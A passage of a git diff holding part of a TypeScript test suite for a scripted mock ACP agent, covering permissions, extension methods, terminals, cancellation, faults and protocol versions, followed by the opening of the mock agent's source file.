+ name: "Model", + currentValue: "x", + values: ["x"], + }), + ], + }, + }, + { + type: "update", + update: { + sessionUpdate: "usage_update", + used: 1200, + size: 200000, + cost: { amount: 0.01, currency: "USD" }, + }, + }, + { + type: "update", + update: { + sessionUpdate: "session_info_update", + title: "Fix the bug", + }, + }, + { + type: "text", + text: "Devin says hi", + meta: { "cognition.ai/streamingMessageId": "stream-1" }, + }, + ], + stopReason: "max_tokens", + usage: { totalTokens: 30, inputTokens: 20, outputTokens: 10 }, + }, + ], + }); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + const response = await harness.prompt(sessionId, "go"); + await harness.settle(); + + expect(response).toEqual({ + stopReason: "max_tokens", + usage: { totalTokens: 30, inputTokens: 20, outputTokens: 10 }, + }); + expect(updateKinds(harness)).toEqual([ + "agent_thought_chunk", + "agent_message_chunk", + "agent_message_chunk", + "tool_call", + "tool_call_update", + "tool_call_update", + "tool_call_update", + "tool_call", + "plan", + "available_commands_update", + "current_mode_update", + "config_option_update", + "usage_update", + "session_info_update", + "agent_message_chunk", + ]); + const updates = harness.updates.map((n) => n.update); + expect(updates[3]).toMatchObject({ + toolCallId: "call-edit", + kind: "edit", + status: "pending", + content: [ + { type: "diff", path: "/work/src/a.ts", oldText: "a", newText: "b" }, + ], + }); + // Partial updates carry only what changed: the title update has no status. + expect(updates[5]).toEqual({ + sessionUpdate: "tool_call_update", + toolCallId: "call-edit", + title: "Edited src/a.ts", + }); + expect(updates[12]).toMatchObject({ used: 1200, size: 200000 }); + expect(updates[14]?._meta).toEqual({ + "cognition.ai/streamingMessageId": "stream-1", + }); + }, + TEST_TIMEOUT, + ); + + it( + "puts notificationMeta on params._meta and runs afterResponse steps after the response", + async () => { + const harness = start( + { + session: { + afterNew: [ + { + sessionUpdate: "available_commands_update", + availableCommands: [], + }, + ], + }, + prompts: [ + { + steps: [ + { + type: "text", + text: "in turn", + meta: { onUpdate: true }, + notificationMeta: { promptId: "{{promptId}}" }, + }, + { + type: "toolCall", + toolCallId: "t-1", + title: "Run", + notificationMeta: { promptId: "{{requestId}}" }, + }, + { + type: "plan", + entries: [], + notificationMeta: { promptId: "{{promptId}}" }, + }, + ], + afterResponse: [ + { type: "delay", ms: 20 }, + { + type: "text", + text: "woke up", + notificationMeta: { promptId: "task-completed-1" }, + }, + { + type: "extNotification", + method: "_vendor/after", + params: {}, + }, + ], + }, + ], + }, + { extNotifications: ["_vendor/after"] }, + ); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + // afterNew goes out right behind the session/new response. + await waitFor( + () => + harness.updates.find( + (n) => n.update.sessionUpdate === "available_commands_update", + ), + "afterNew", + ); + expect( + await harness.prompt(sessionId, "go", { + promptId: "p-1", + requestId: "r-1", + }), + ).toEqual({ stopReason: "end_turn" }); + await waitFor( + () => harness.calls.find((call) => call.method === "_vendor/after"), + "after-response notification", + ); + await harness.settle(); + const turn = harness.updates.filter( + (n) => n.update.sessionUpdate !== "available_commands_update", + ); + expect(turn.map((n) => [n.update.sessionUpdate, n._meta])).toEqual([ + ["agent_message_chunk", { promptId: "p-1" }], + ["tool_call", { promptId: "r-1" }], + ["plan", { promptId: "p-1" }], + ["agent_message_chunk", { promptId: "task-completed-1" }], + ]); + expect(turn[0]?.update._meta).toEqual({ onUpdate: true }); + expect(turn[1]?.update).not.toHaveProperty("_meta"); + + // On the wire, after-response traffic follows the prompt response. + const log = harness.log(); + expect(log.some((entry) => entry.kind === "lifecycle")).toBe(false); + const raw = harness.fixture.stdoutText(); + expect(raw.indexOf('"stopReason":"end_turn"')).toBeLessThan( + raw.indexOf("woke up"), + ); + }, + TEST_TIMEOUT, + ); + + it( + "selects scripts by match, then in order, and can omit the stop reason", + async () => { + const harness = start({ + prompts: [ + { match: "refuse", steps: [], stopReason: "refusal" }, + { steps: [{ type: "text", text: "first" }], stopReason: "end_turn" }, + { steps: [{ type: "text", text: "rest" }], stopReason: null }, + ], + }); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + expect(await harness.prompt(sessionId, "one")).toEqual({ + stopReason: "end_turn", + }); + expect(await harness.prompt(sessionId, "please refuse")).toEqual({ + stopReason: "refusal", + }); + expect(await harness.prompt(sessionId, "two")).toEqual( + {} as acp.PromptResponse, + ); + expect(await harness.prompt(sessionId, "three")).toEqual( + {} as acp.PromptResponse, + ); + }, + TEST_TIMEOUT, + ); + + it( + "fails a prompt with a configured JSON-RPC error after its steps", + async () => { + const harness = start({ + prompts: [ + { + steps: [ + { type: "text", text: "partial" }, + { + type: "fail", + error: { + code: -32003, + message: "Rate limited", + data: { retryAfter: 30 }, + }, + }, + ], + }, + ], + }); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + const error = await harness + .prompt(sessionId, "go") + .catch((caught: unknown) => caught); + expect(error).toBeInstanceOf(acp.RequestError); + expect(error).toMatchObject({ code: -32003, data: { retryAfter: 30 } }); + await harness.settle(); + expect(updateKinds(harness)).toEqual(["agent_message_chunk"]); + }, + TEST_TIMEOUT, + ); +}); + +describe("ACP mock agent: permissions", () => { + const permissionScenario: AcpMockScenario = { + prompts: [ + { + steps: [ + { + type: "toolCall", + toolCallId: "call-1", + title: "Run tests", + kind: "execute", + status: "pending", + }, + { + type: "requestPermission", + toolCall: { + toolCallId: "call-1", + title: "Run tests", + kind: "execute", + }, + options: [ + ...STANDARD_PERMISSION_OPTIONS, + { + optionId: "allow-edits-session", + name: "Allow all edits", + kind: "allow_always", + }, + ], + branches: { + "allow-once": [{ type: "text", text: "ran once" }], + "allow-always": [{ type: "text", text: "ran, always allowed" }], + "allow-edits-session": [{ type: "text", text: "edits allowed" }], + "reject-once": [ + { + type: "toolCallUpdate", + toolCallId: "call-1", + status: "failed", + }, + { type: "stop", stopReason: "end_turn" }, + ], + cancelled: [{ type: "text", text: "never reached" }], + "*": [{ type: "text", text: "other option" }], + }, + }, + { type: "toolCallUpdate", toolCallId: "call-1", status: "completed" }, + ], + }, + ], + }; + + async function runWith(optionId: string) { + const harness = start(permissionScenario, { + requestPermission: () => ({ outcome: { outcome: "selected", optionId } }), + }); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + const response = await harness.prompt(sessionId, "go"); + await harness.settle(); + const texts = harness.updates.flatMap((n) => + n.update.sessionUpdate === "agent_message_chunk" && + n.update.content.type === "text" + ? [n.update.content.text] + : [], + ); + return { harness, response, texts }; + } + + it( + "branches on allow once, allow always, a custom id and reject", + async () => { + const once = await runWith("allow-once"); + expect(once.texts).toEqual(["ran once"]); + const request = once.harness.calls.find( + (call) => call.method === "session/request_permission", + ); + expect(request?.params).toMatchObject({ + toolCall: { toolCallId: "call-1" }, + options: expect.arrayContaining([ + expect.objectContaining({ kind: "allow_once" }), + expect.objectContaining({ kind: "allow_always" }), + expect.objectContaining({ kind: "reject_once" }), + expect.objectContaining({ kind: "reject_always" }), + ]), + }); + const response = once.harness + .log() + .find( + (entry) => entry.kind === "response" && entry.result !== undefined, + ); + expect(response).toMatchObject({ + result: { outcome: { outcome: "selected", optionId: "allow-once" } }, + }); + + expect((await runWith("allow-always")).texts).toEqual([ + "ran, always allowed", + ]); + expect((await runWith("allow-edits-session")).texts).toEqual([ + "edits allowed", + ]); + expect((await runWith("reject-always")).texts).toEqual(["other option"]); + + const rejected = await runWith("reject-once"); + expect(rejected.texts).toEqual([]); + expect(rejected.response).toEqual({ stopReason: "end_turn" }); + expect(rejected.harness.updates.at(-1)?.update).toMatchObject({ + sessionUpdate: "tool_call_update", + status: "failed", + }); + }, + TEST_TIMEOUT, + ); + + it( + "ends the turn cancelled when the client cancels during a permission request", + async () => { + let harness: AcpHarness | undefined; + harness = start(permissionScenario, { + requestPermission: async (params) => { + await harness?.agent.notify("session/cancel", { + sessionId: params.sessionId, + }); + return { outcome: { outcome: "cancelled" } }; + }, + }); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + expect(await harness.prompt(sessionId, "go")).toEqual({ + stopReason: "cancelled", + }); + const kinds = harness.log().map((entry) => entry.kind); + expect(kinds).toContain("notification"); + }, + TEST_TIMEOUT, + ); +}); + +describe("ACP mock agent: extension methods", () => { + it( + "sends vendor requests and notifications and branches on the reply", + async () => { + const harness = start( + { + prompts: [ + { + steps: [ + { + type: "extRequest", + method: "cursor/ask_question", + params: { + toolCallId: "q-1", + title: "Pick", + questions: [ + { + id: "db", + prompt: "Database?", + options: [{ id: "pg", label: "Postgres" }], + }, + { + id: "extras", + prompt: "Extras?", + allowMultiple: true, + options: [{ id: "a", label: "A" }], + }, + ], + }, + echo: true, + }, + { + type: "extRequest", + method: "cursor/create_plan", + params: { toolCallId: "p-1", plan: "# Plan" }, + }, + { + type: "extNotification", + method: "cursor/update_todos", + params: { + todos: [{ id: "1", content: "Do it", status: "pending" }], + }, + }, + { + type: "extRequest", + method: "x.ai/ask_user_question", + params: { + sessionId: "{{sessionId}}", + questions: [ + { question: "Proceed?", options: [{ label: "Yes" }] }, + ], + }, + branches: { + accepted: [{ type: "text", text: "accepted" }], + cancelled: [{ type: "text", text: "cancelled" }], + }, + }, + { + type: "extRequest", + method: "x.ai/exit_plan_mode", + params: { + sessionId: "{{sessionId}}", + toolCallId: "t-1", + planContent: "plan", + }, + branches: { + abandoned: [{ type: "text", text: "plan captured" }], + }, + }, + { + type: "extRequest", + method: "vendor/unknown", + branches: { + error: [{ type: "text", text: "client said no" }], + }, + }, + { + type: "extNotification", + method: "_session/retrying", + params: { + sessionId: "{{sessionId}}", + category: "rate_limited", + detail: "429", + }, + }, + { + type: "extNotification", + method: "x.ai/session/prompt_complete", + params: { + sessionId: "{{sessionId}}", + promptId: "{{promptId}}", + stopReason: "end_turn", + }, + }, + ], + meta: { echoedPrompt: "{{promptMeta}}" }, + }, + ], + }, + { + extRequests: { + "cursor/ask_question": () => ({ + answers: { db: ["pg"], extras: ["a"] }, + }), + "cursor/create_plan": () => ({ accepted: true }), + "x.ai/ask_user_question": () => ({ + outcome: "accepted", + answers: { "Proceed?": ["Yes"] }, + }), + "x.ai/exit_plan_mode": () => ({ + outcome: "abandoned", + feedback: "wait", + }), + }, + extNotifications: [ + "cursor/update_todos", + "_session/retrying", + "x.ai/session/prompt_complete", + ], + }, + ); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + const response = await harness.prompt(sessionId, "go", { + promptId: "prompt-42", + requestId: "req-42", + }); + await harness.settle(); + + // The client SDK may run a notification handler after a later request + // handler, so only the agent's (sequential) requests are order-checked. + const methods = harness.calls.map((call) => call.method); + const requests = new Set([ + "cursor/ask_question", + "cursor/create_plan", + "x.ai/ask_user_question", + "x.ai/exit_plan_mode", + ]); + expect(methods.filter((method) => requests.has(method))).toEqual([ + "cursor/ask_question", + "cursor/create_plan", + "x.ai/ask_user_question", + "x.ai/exit_plan_mode", + ]); + expect([...methods].sort()).toEqual( + [ + "cursor/ask_question", + "cursor/create_plan", + "cursor/update_todos", + "x.ai/ask_user_question", + "x.ai/exit_plan_mode", + "_session/retrying", + "x.ai/session/prompt_complete", + ].sort(), + ); + const call = (method: string) => + harness.calls.find((entry) => entry.method === method)?.params; + expect(call("cursor/ask_question")).toMatchObject({ + questions: [{ id: "db" }, { id: "extras", allowMultiple: true }], + }); + expect(call("x.ai/session/prompt_complete")).toEqual({ + sessionId, + promptId: "prompt-42", + stopReason: "end_turn", + }); + const texts = harness.updates.flatMap((n) => + n.update.sessionUpdate === "agent_message_chunk" && + n.update.content.type === "text" + ? [n.update.content.text] + : [], + ); + expect(texts[0]).toContain('"answers":{"db":["pg"],"extras":["a"]}'); + expect(texts.slice(1)).toEqual([ + "accepted", + "plan captured", + "client said no", + ]); + expect(response._meta).toEqual({ + echoedPrompt: { promptId: "prompt-42", requestId: "req-42" }, + }); + const unknownReply = harness + .log() + .find( + (entry) => entry.kind === "response" && entry.error?.code === -32601, + ); + expect(unknownReply).toBeDefined(); + }, + TEST_TIMEOUT, + ); +}); + +describe("ACP mock agent: client callbacks", () => { + it( + "reads and writes files through the client", + async () => { + const files = new Map([ + ["/work/notes.md", "line 1\nline 2\nline 3"], + ]); + const harness = start( + { + prompts: [ + { + steps: [ + { + type: "clientFs", + op: "read", + path: "/work/notes.md", + line: 2, + limit: 1, + echo: true, + }, + { + type: "clientFs", + op: "write", + path: "/work/plan.md", + content: "# Plan", + }, + { + type: "clientFs", + op: "read", + path: "/work/missing.md", + echo: true, + }, + ], + }, + ], + }, + { + readTextFile: ({ path, line, limit }) => { + const content = files.get(path); + if (content === undefined) + throw acp.RequestError.resourceNotFound(path); + const lines = content.split("\n"); + const start = (line ?? 1) - 1; + return { + content: lines + .slice(start, limit ? start + limit : undefined) + .join("\n"), + }; + }, + writeTextFile: ({ path, content }) => { + files.set(path, content); + return {}; + }, + }, + ); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + await harness.prompt(sessionId, "go"); + await harness.settle(); + + expect(files.get("/work/plan.md")).toBe("# Plan"); + expect(harness.calls.map((call) => call.method)).toEqual([ + "fs/read_text_file", + "fs/write_text_file", + "fs/read_text_file", + ]); + expect(harness.calls[0]?.params).toEqual({ + sessionId, + path: "/work/notes.md", + line: 2, + limit: 1, + }); + const texts = harness.updates.map((n) => + n.update.sessionUpdate === "agent_message_chunk" && + n.update.content.type === "text" + ? n.update.content.text + : "", + ); + expect(texts[0]).toBe( + '[fs/read_text_file] {"result":{"content":"line 2"}}', + ); + expect(texts[1]).toContain('"code":-32002'); + }, + TEST_TIMEOUT, + ); + + it( + "runs a client terminal: create, attach, kill, wait, output, release", + async () => { + const harness = start( + { + prompts: [ + { + steps: [ + { + type: "toolCall", + toolCallId: "call-sh", + title: "npm test", + kind: "execute", + status: "in_progress", + }, + { + type: "clientTerminal", + command: "npm", + args: ["test"], + env: [{ name: "CI", value: "1" }], + cwd: "{{cwd}}", + outputByteLimit: 1024, + toolCallId: "call-sh", + echo: true, + }, + { + type: "clientTerminal", + command: "sleep", + args: ["60"], + kill: true, + echo: true, + }, + ], + }, + ], + }, + { + createTerminal: ({ command }) => ({ terminalId: `term-${command}` }), + killTerminal: () => ({}), + waitForTerminalExit: ({ terminalId }) => + terminalId === "term-sleep" + ? { exitCode: null, signal: "SIGTERM" } + : { exitCode: 0 }, + terminalOutput: ({ terminalId }) => ({ + output: terminalId === "term-npm" ? "ok\n" : "", + truncated: false, + exitStatus: + terminalId === "term-npm" + ? { exitCode: 0 } + : { signal: "SIGTERM" }, + }), + releaseTerminal: () => ({}), + }, + ); + await harness.initialize(); + const session = await harness.newSession("/work/repo"); + await harness.prompt(session.sessionId, "go"); + await harness.settle(); + + expect(harness.calls.map((call) => call.method)).toEqual([ + "terminal/create", + "terminal/wait_for_exit", + "terminal/output", + "terminal/release", + "terminal/create", + "terminal/kill", + "terminal/wait_for_exit", + "terminal/output", + "terminal/release", + ]); + expect(harness.calls[0]?.params).toEqual({ + sessionId: session.sessionId, + command: "npm", + args: ["test"], + env: [{ name: "CI", value: "1" }], + cwd: "/work/repo", + outputByteLimit: 1024, + }); + expect(harness.updates[1]?.update).toEqual({ + sessionUpdate: "tool_call_update", + toolCallId: "call-sh", + content: [{ type: "terminal", terminalId: "term-npm" }], + }); + const echoes = harness.updates + .map((n) => n.update) + .filter((update) => update.sessionUpdate === "agent_message_chunk"); + expect(echoes).toHaveLength(2); + }, + TEST_TIMEOUT, + ); + + it( + "asks for form and url elicitations and branches on the action", + async () => { + const harness = start( + { + prompts: [ + { + steps: [ + { + type: "elicitation", + mode: "form", + message: "Pick a branch", + requestedSchema: { + type: "object", + properties: { + branch: { type: "string", enum: ["main", "dev"] }, + force: { type: "boolean" }, + }, + required: ["branch"], + }, + branches: { + accept: [{ type: "text", text: "form accepted" }], + decline: [{ type: "text", text: "form declined" }], + }, + }, + { + type: "elicitation", + mode: "url", + message: "Sign in", + url: "https://example.com/login", + elicitationId: "login-1", + complete: true, + branches: { "*": [{ type: "text", text: "url done" }] }, + }, + ], + }, + ], + }, + { + createElicitation: (params) => + params.mode === "form" + ? { action: "accept", content: { branch: "dev", force: true } } + : { action: "accept" }, + }, + ); + await harness.initialize({ + clientCapabilities: { elicitation: { form: {}, url: {} } }, + }); + const { sessionId } = await harness.newSession(); + await harness.prompt(sessionId, "go"); + await harness.settle(); + + expect(harness.calls.map((call) => call.method)).toEqual([ + "elicitation/create", + "elicitation/create", + "elicitation/complete", + ]); + expect(harness.calls[1]?.params).toMatchObject({ + mode: "url", + sessionId, + elicitationId: "login-1", + url: "https://example.com/login", + }); + expect(harness.calls[2]?.params).toEqual({ elicitationId: "login-1" }); + const texts = harness.updates.map((n) => + n.update.sessionUpdate === "agent_message_chunk" && + n.update.content.type === "text" + ? n.update.content.text + : "", + ); + expect(texts).toEqual(["form accepted", "url done"]); + }, + TEST_TIMEOUT, + ); +}); + +describe("ACP mock agent: cancel", () => { + it( + "aborts a running prompt on the session/cancel notification", + async () => { + const harness = start({ + prompts: [ + { + steps: [ + { + type: "toolCall", + toolCallId: "long", + title: "Long task", + kind: "execute", + status: "in_progress", + }, + { type: "waitForCancel" }, + { type: "text", text: "never sent" }, + ], + }, + { steps: [{ type: "text", text: "next turn" }] }, + ], + cancel: { + updates: [ + { + sessionUpdate: "tool_call_update", + toolCallId: "long", + status: "failed", + }, + ], + }, + }); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + const prompt = harness.prompt(sessionId, "go"); + await waitFor(() => harness.updates.length > 0, "tool_call"); + await harness.agent.notify("session/cancel", { sessionId }); + + expect(await withTimeout(prompt, 5_000, "cancelled prompt")).toEqual({ + stopReason: "cancelled", + }); + await harness.settle(); + expect(updateKinds(harness)).toEqual(["tool_call", "tool_call_update"]); + const cancel = harness + .log() + .find((entry) => entry.kind === "notification"); + expect(cancel).toEqual({ + ts: expect.any(Number), + kind: "notification", + method: "session/cancel", + params: { sessionId }, + }); + + // The cancel does not leak into the next turn. + expect(await harness.prompt(sessionId, "again")).toEqual({ + stopReason: "end_turn", + }); + }, + TEST_TIMEOUT, + ); + + it( + "can resolve end_turn after a cancel (the cancel/complete race)", + async () => { + const harness = start({ + prompts: [{ steps: [{ type: "delay", ms: 60_000 }] }], + cancel: { stopReason: "end_turn" }, + }); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + const prompt = harness.prompt(sessionId, "go"); + await waitFor( + () => + harness + .log() + .some( + (entry) => + entry.kind === "request" && entry.method === "session/prompt", + ), + "prompt logged", + ); + await harness.agent.notify("session/cancel", { + sessionId, + _meta: { cancelTrigger: "ctrl_c" }, + }); + expect(await withTimeout(prompt, 5_000, "prompt")).toEqual({ + stopReason: "end_turn", + }); + expect( + harness.log().find((entry) => entry.kind === "notification"), + ).toMatchObject({ + params: { _meta: { cancelTrigger: "ctrl_c" } }, + }); + }, + TEST_TIMEOUT, + ); +}); + +describe("ACP mock agent: faults", () => { + it( + "crashes mid-turn with the configured exit code", + async () => { + const harness = start({ + prompts: [ + { + steps: [ + { type: "text", text: "about to crash" }, + { type: "exit", code: 3, stderr: "panic: mock crash" }, + ], + }, + ], + }); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + const error = await harness + .prompt(sessionId, "go") + .catch((caught: unknown) => caught); + + expect(error).toBeDefined(); + expect(await harness.fixture.exited).toEqual({ code: 3, signal: null }); + expect(harness.fixture.stderrText()).toContain("panic: mock crash"); + expect(updateKinds(harness)).toEqual(["agent_message_chunk"]); + expect(harness.log().at(-1)).toMatchObject({ + kind: "lifecycle", + event: "exit-step", + }); + }, + TEST_TIMEOUT, + ); + + it( + "hangs forever on a prompt so the caller's timeout fires", + async () => { + const harness = start({ + prompts: [ + { + steps: [ + { type: "text", text: "stuck" }, + { type: "hang", ignoreCancel: true }, + ], + }, + ], + }); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + const prompt = harness.prompt(sessionId, "go"); + await waitFor(() => harness.updates.length > 0, "stuck update"); + await harness.agent.notify("session/cancel", { sessionId }); + const error = await withTimeout(prompt, 400, "hung prompt").catch( + (caught: unknown) => caught, + ); + expect((error as Error).name).toBe("FixtureTimeoutError"); + expect(harness.fixture.child.exitCode).toBeNull(); + }, + TEST_TIMEOUT, + ); + + it( + "never answers hung methods and delays slow ones", + async () => { + const harness = start({ + faults: { + methodDelays: { initialize: 300 }, + hangMethods: ["session/new"], + }, + }); + const startedAt = Date.now(); + await harness.initialize(); + expect(Date.now() - startedAt).toBeGreaterThanOrEqual(280); + const error = await withTimeout( + harness.newSession(), + 400, + "session/new", + ).catch((caught: unknown) => caught); + expect((error as Error).name).toBe("FixtureTimeoutError"); + }, + TEST_TIMEOUT, + ); + + it( + "survives stdout garbage; the SDK answers each bad line with a parse error", + async () => { + const harness = start({ + faults: { + startupStdout: [ + "Open the following link to authenticate the ACP server: https://accounts.google.com/o/oauth2/v2/auth?redirect_uri=http://127.0.0.1:4555/", + ], + startupStderr: "warming up", + stderrFloodBytes: 256 * 1024, + splitFramesBytes: 7, + }, + prompts: [ + { + steps: [ + { type: "stdout", lines: ["not json either"] }, + { type: "text", text: "after noise" }, + ], + }, + ], + }); + const response = await harness.initialize(); + expect(response.protocolVersion).toBe(1); + const { sessionId } = await harness.newSession(); + expect(await harness.prompt(sessionId, "go")).toEqual({ + stopReason: "end_turn", + }); + + // Trap 2 in the SDK: ndJsonStream writes -32700 back to the agent. + await waitFor( + () => + harness + .log() + .filter( + (entry) => + entry.kind === "response" && entry.error?.code === -32700, + ).length === 2, + "two parse-error frames", + ); + expect(harness.fixture.stderrText().length).toBeGreaterThan(256 * 1024); + }, + TEST_TIMEOUT, + ); + + it( + "exits on its own after exitAfterMs and when stdin closes", + async () => { + const crashing = start({ faults: { exitAfterMs: 50, exitCode: 7 } }); + expect(await withTimeout(crashing.fixture.exited, 5_000, "exit")).toEqual( + { + code: 7, + signal: null, + }, + ); + + const closing = start({}); + await closing.initialize(); + closing.fixture.child.stdin.end(); + expect(await withTimeout(closing.fixture.exited, 5_000, "exit")).toEqual({ + code: 0, + signal: null, + }); + }, + TEST_TIMEOUT, + ); +}); + +describe("ACP mock agent: protocol versions", () => { + it( + "negotiates v1 or draft v2 through the SDK's agentProtocolRouter", + async () => { + const scenario: AcpMockScenario = { + initialize: { + versions: [1, 2], + v2: { info: { name: "dual-mock", version: "2.0.0" } }, + }, + prompts: [ + { + steps: [ + { type: "text", text: "Hello " }, + { type: "text", text: "v2" }, + ], + }, + ], + }; + + // A v1 client reaches the v1 mock. + const v1 = start(scenario); + const init1 = await v1.initialize(); + expect(init1.protocolVersion).toBe(1); + expect(init1.agentInfo?.name).toBe("sentinel-acp-mock"); + const s1 = await v1.newSession(); + expect(await v1.prompt(s1.sessionId, "hi")).toEqual({ + stopReason: "end_turn", + }); + + // A draft-v2 client gets the v2 agent: messageId first, then + // state_update running → agent_message → state_update idle. + const fixture = spawnFixture(MOCK_AGENT_PATH, { + env: { [ACP_MOCK_SCENARIO_ENV]: JSON.stringify(scenario) }, + }); + const updates: acpV2.UpdateSessionNotification[] = []; + const connection = acpV2 + .client({ name: "sentinel-fixture-test-v2" }) + .onNotification("session/update", ({ params }) => { + updates.push(params); + }) + .connect( + acpV2.ndJsonStream( + nodeWritableToWeb(fixture.child.stdin), + nodeReadableToWeb(fixture.child.stdout), + ), + ); + try { + const init2 = await connection.agent.request("initialize", { + protocolVersion: 2, + info: { name: "sentinel-fixture-test-v2", version: "0.0.0" }, + }); + expect(init2).toEqual({ + protocolVersion: 2, + info: { name: "dual-mock", version: "2.0.0" }, + capabilities: { session: {} }, + }); + const { sessionId } = await connection.agent.request("session/new", { + cwd: "/work", + }); + const { messageId } = await connection.agent.request("session/prompt", { + sessionId, + prompt: [{ type: "text", text: "hi" }], + }); + await waitFor( + () => + updates.find( + (n) => + n.update.sessionUpdate === "state_update" && + n.update.state === "idle", + ), + "v2 idle", + ); + expect(updates.map((n) => n.update.sessionUpdate)).toEqual([ + "user_message", + "state_update", + "agent_message", + "state_update", + ]); + expect(updates[0]?.update).toMatchObject({ messageId }); + expect(updates[2]?.update).toMatchObject({ + content: [{ type: "text", text: "Hello v2" }], + }); + expect(updates[3]?.update).toMatchObject({ + state: "idle", + stopReason: "end_turn", + }); + } finally { + connection.close(); + } + + // Without v1 in the list, a v1 client is turned away. + const v2Only = start({ initialize: { versions: [2] } }); + const refused = (await v2Only + .initialize() + .catch((error: unknown) => error)) as acp.RequestError; + expect(refused.code).toBe(-32600); + expect(refused.data).toBe( + "unsupported ACP protocol version 1; this endpoint supports ACP protocol version 2", + ); + }, + TEST_TIMEOUT, + ); +}); diff --git a/scripts/fixtures/agents/acp/mock-agent.ts b/scripts/fixtures/agents/acp/mock-agent.ts new file mode 100644 index 00000000..61dcc733 --- /dev/null +++ b/scripts/fixtures/agents/acp/mock-agent.ts @@ -0,0 +1,1210 @@ +#!/usr/bin/env bun +// Mock ACP agent for protocol tests: a real `@agentclientprotocol/sdk` agent() +// app over stdio NDJSON, driven by a JSON scenario. See README.md next to this +// file for the scenario format and scenario.ts for its types. +// +// SENTINEL_ACP_MOCK_SCENARIO='{"prompts":[...]}' bun scripts/fixtures/agents/acp/mock-agent.ts +// +// Every frame the mock receives (requests, notifications and responses to its +// own requests) is appended raw to SENTINEL_ACP_MOCK_LOG as JSONL. +import http from "node:http"; + +import * as acp from "@agentclientprotocol/sdk"; +import * as acpV2 from "@agentclientprotocol/sdk/experimental/v2"; + +import { + applyTemplate, + createJsonlLog, + createStdoutWriter, + deepClone, + floodStderr, + loadScenarioFromEnv, + nodeReadableToWeb, + sleep, + waitForAbort, + writeStderr, + type JsonObject, +} from "../shared/fixture-io"; +import { + ACP_MOCK_LOG_ENV, + ACP_MOCK_SCENARIO_ENV, + ACP_MOCK_SCENARIO_FILE_ENV, + DEFAULT_AGENT_CAPABILITIES, + DEFAULT_AGENT_INFO, + STANDARD_PERMISSION_OPTIONS, + type AcpLegacyModelState, + type AcpMockBranches, + type AcpMockBrowserLogin, + type AcpMockError, + type AcpMockPromptScript, + type AcpMockScenario, + type AcpMockStep, +} from "./scenario"; + +const scenario = loadScenarioFromEnv( + ACP_MOCK_SCENARIO_ENV, + ACP_MOCK_SCENARIO_FILE_ENV, +); +const log = createJsonlLog(process.env[ACP_MOCK_LOG_ENV]); +const faults = scenario.faults ?? {}; +const stdout = createStdoutWriter({ + splitFramesBytes: faults.splitFramesBytes, +}); + +type SessionState = { + sessionId: string; + cwd: string; + modes: acp.SessionModeState | null; + configOptions: JsonObject[] | null; + models: AcpLegacyModelState | null; + turn?: { controller: AbortController }; +}; + +type TurnContext = { + client: acp.AgentContext; + session: SessionState; + signal: AbortSignal; +}; + +/** A step list that ended the turn early. */ +type StepOutcome = { stopReason: acp.StopReason | null }; + +const CANCELLED = Symbol("cancelled"); +const sessions = new Map(); +const rawRequests = new Map(); +const lastCancelSeq = new Map(); +let inboundSeq = 0; +let sessionCounter = 0; +let unmatchedPrompts = 0; +let elicitationCounter = 0; +let v2MessageCounter = 0; +let authenticated = !scenario.auth?.requireAuth; + +function isObject(value: unknown): value is JsonObject { + return value !== null && typeof value === "object" && !Array.isArray(value); +} + +function toRequestError(error: AcpMockError): acp.RequestError { + return new acp.RequestError(error.code, error.message, error.data); +} + +function errorToJson(error: unknown): JsonObject { + if (error instanceof acp.RequestError) { + return { code: error.code, message: error.message, data: error.data }; + } + return { message: error instanceof Error ? error.message : String(error) }; +} + +async function exitProcess(code: number, event: string): Promise { + log({ kind: "lifecycle", event, detail: { code } }); + await stdout.flush(); + process.exit(code); +} + +// --------------------------------------------------------------------------- +// Inbound tap: logs raw frames before the SDK parses (and strips) them. +// --------------------------------------------------------------------------- + +function recordInbound(message: unknown) { + if (Array.isArray(message)) { + for (const item of message) recordInbound(item); + return; + } + if (!isObject(message)) return; + const seq = ++inboundSeq; + if (typeof message.method === "string") { + if ("id" in message) { + const id = message.id as acp.JsonRpcId; + rawRequests.set(id, { params: message.params, seq }); + log({ + kind: "request", + id, + method: message.method, + params: message.params, + }); + return; + } + if (message.method === "session/cancel" && isObject(message.params)) { + const sessionId = message.params.sessionId; + if (typeof sessionId === "string") lastCancelSeq.set(sessionId, seq); + } + log({ + kind: "notification", + method: message.method, + params: message.params, + }); + return; + } + log({ + kind: "response", + id: (message.id as acp.JsonRpcId | undefined) ?? null, + ...("result" in message ? { result: message.result } : {}), + ...("error" in message ? { error: message.error } : {}), + }); +} + +function rawParams(requestId: acp.JsonRpcId): JsonObject { + const params = rawRequests.get(requestId)?.params; + return isObject(params) ? params : {}; +} + +/** Applies hang/delay/error faults, then runs the handler. */ +function guard( + method: string, + handler: (ctx: C) => R | Promise, +): (ctx: C) => Promise { + return async (ctx) => { + try { + if (faults.hangMethods?.includes(method)) { + return await new Promise(() => {}); + } + const delay = faults.methodDelays?.[method]; + if (delay) await sleep(delay); + const error = faults.methodErrors?.[method]; + if (error) throw toRequestError(error); + return await handler(ctx); + } finally { + rawRequests.delete(ctx.requestId); + } + }; +} + +// --------------------------------------------------------------------------- +// Sessions +// --------------------------------------------------------------------------- + +function requireAuthenticated() { + if (authenticated) return; + throw acp.RequestError.authRequired( + scenario.auth?.errorData, + scenario.auth?.message, + ); +} + +/** + * Prints the sign-in lines and, by default, waits for the OAuth redirect on + * a loopback listener, the way Antigravity's `agy_acp_server` signs in. + */ +async function browserLogin(login: AcpMockBrowserLogin, methodId: string) { + const callback = login.callback !== false; + let server: http.Server | undefined; + let outcome: Promise | undefined; + let callbackUrl = ""; + if (callback) { + const listener = http.createServer(); + server = listener; + outcome = new Promise((resolve) => { + listener.on("request", (request, response) => { + const query = new URL(request.url ?? "/", "http://127.0.0.1") + .searchParams; + if (!query.has("code") && !query.has("error")) { + response.writeHead(404).end(); + return; + } + response + .writeHead(200, { "content-type": "text/plain" }) + .end("Authentication complete. You can close this window.\n"); + resolve(query); + }); + }); + 